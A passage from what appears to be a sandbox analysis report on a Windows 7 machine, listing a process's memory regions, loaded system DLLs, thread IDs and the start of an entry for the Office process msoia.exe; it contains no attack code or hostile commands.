"\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1540 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1541 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1542 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1543 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1544 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1545 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1546 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1666 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1667 start_va = 0x3e0000 end_va = 0x3e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 1668 start_va = 0x3f0000 end_va = 0x3f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1669 start_va = 0x1b90000 end_va = 0x1e5efff entry_point = 0x1b90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1670 start_va = 0x1e60000 end_va = 0x2252fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e60000" filename = "" Region: id = 1671 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 1672 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 1771 start_va = 0x400000 end_va = 0x400fff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1772 start_va = 0x410000 end_va = 0x410fff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 1773 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 1774 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1929 start_va = 0x420000 end_va = 0x420fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1930 start_va = 0x430000 end_va = 0x431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1931 start_va = 0x440000 end_va = 0x44bfff entry_point = 0x440000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1932 start_va = 0x450000 end_va = 0x451fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1933 start_va = 0x2260000 end_va = 0x235ffff entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1934 start_va = 0x2360000 end_va = 0x2367fff entry_point = 0x2360000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1935 start_va = 0x2370000 end_va = 0x237ffff entry_point = 0x2370000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1936 start_va = 0x2380000 end_va = 0x2380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002380000" filename = "" Region: id = 1937 start_va = 0x2390000 end_va = 0x240ffff entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 1938 start_va = 0x2410000 end_va = 0x24eefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002410000" filename = "" Region: id = 1939 start_va = 0x2510000 end_va = 0x260ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1940 start_va = 0x2630000 end_va = 0x263ffff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 1941 start_va = 0x2690000 end_va = 0x278ffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 1942 start_va = 0x2790000 end_va = 0x288ffff entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 1943 start_va = 0x28f0000 end_va = 0x29effff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 1944 start_va = 0x2a30000 end_va = 0x2b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 1945 start_va = 0x2bb0000 end_va = 0x2bbffff entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 1946 start_va = 0x2c60000 end_va = 0x2c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 1947 start_va = 0x2c80000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Region: id = 1948 start_va = 0x2d80000 end_va = 0x2e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 1949 start_va = 0x2ec0000 end_va = 0x2fbffff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1950 start_va = 0x3060000 end_va = 0x315ffff entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 1951 start_va = 0x3180000 end_va = 0x327ffff entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 1952 start_va = 0x3280000 end_va = 0x35c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003280000" filename = "" Region: id = 1953 start_va = 0x3650000 end_va = 0x374ffff entry_point = 0x0 region_type = private name = "private_0x0000000003650000" filename = "" Region: id = 1954 start_va = 0x37b0000 end_va = 0x382ffff entry_point = 0x0 region_type = private name = "private_0x00000000037b0000" filename = "" Region: id = 1955 start_va = 0x3880000 end_va = 0x397ffff entry_point = 0x0 region_type = private name = "private_0x0000000003880000" filename = "" Region: id = 1956 start_va = 0x3980000 end_va = 0x3a3ffff entry_point = 0x3980000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1957 start_va = 0x3a70000 end_va = 0x3b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 1958 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 1959 start_va = 0x7fef3500000 end_va = 0x7fef359ffff entry_point = 0x7fef3500000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 1960 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1961 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1962 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1963 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1964 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1965 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 1966 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1967 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1968 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 1969 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1970 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1971 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1972 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1973 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1974 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1975 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1976 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1977 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1978 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1979 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1980 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1981 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1982 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1983 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1984 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1985 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1986 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1987 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1988 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1989 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1990 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1991 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1992 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1993 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1994 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1995 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1996 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1997 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1998 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1999 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2000 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2001 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2480 start_va = 0x24f0000 end_va = 0x24f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 2481 start_va = 0x2500000 end_va = 0x2500fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002500000" filename = "" Region: id = 2482 start_va = 0x3c10000 end_va = 0x3d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c10000" filename = "" Region: id = 2483 start_va = 0x3d10000 end_va = 0x3e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d10000" filename = "" Region: id = 2484 start_va = 0x3eb0000 end_va = 0x3faffff entry_point = 0x0 region_type = private name = "private_0x0000000003eb0000" filename = "" Region: id = 2485 start_va = 0x3fb0000 end_va = 0x41affff entry_point = 0x0 region_type = private name = "private_0x0000000003fb0000" filename = "" Region: id = 2486 start_va = 0x42e0000 end_va = 0x43dffff entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 2487 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2488 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2489 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2490 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2491 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2492 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2493 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2494 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2495 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2496 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2497 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2498 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2499 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2600 start_va = 0x2610000 end_va = 0x2611fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002610000" filename = "" Region: id = 2601 start_va = 0x41d0000 end_va = 0x42cffff entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 2602 start_va = 0x4520000 end_va = 0x459ffff entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 2603 start_va = 0x4610000 end_va = 0x470ffff entry_point = 0x0 region_type = private name = "private_0x0000000004610000" filename = "" Region: id = 2604 start_va = 0x4720000 end_va = 0x481ffff entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 2605 start_va = 0x48f0000 end_va = 0x49effff entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 2606 start_va = 0x4b40000 end_va = 0x4c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 2607 start_va = 0x4c40000 end_va = 0x503ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c40000" filename = "" Region: id = 2608 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2609 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2610 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2611 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2612 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2613 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2614 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2615 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2616 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2617 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2618 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Thread: id = 112 os_tid = 0x89c Thread: id = 141 os_tid = 0x140 Thread: id = 145 os_tid = 0x524 Thread: id = 146 os_tid = 0x5a8 Thread: id = 148 os_tid = 0x3b0 Thread: id = 150 os_tid = 0x670 Thread: id = 152 os_tid = 0x798 Thread: id = 154 os_tid = 0x730 Thread: id = 160 os_tid = 0x3f4 Thread: id = 161 os_tid = 0x804 Thread: id = 163 os_tid = 0x8c8 Thread: id = 164 os_tid = 0x5f0 Thread: id = 167 os_tid = 0xa0c Thread: id = 183 os_tid = 0xa24 Thread: id = 184 os_tid = 0xa1c Thread: id = 249 os_tid = 0x214 Thread: id = 250 os_tid = 0x7f0 Thread: id = 252 os_tid = 0xbb4 Thread: id = 254 os_tid = 0x754 Thread: id = 256 os_tid = 0x598 Process: id = "12" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x2fb33000" os_pid = "0x8a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x850" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1243 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1244 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1245 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1246 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1247 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1248 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1249 start_va = 0x13f5f0000 end_va = 0x13f931fff entry_point = 0x13f5f0000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe") Region: id = 1250 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1251 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1252 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1253 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1261 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1262 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = 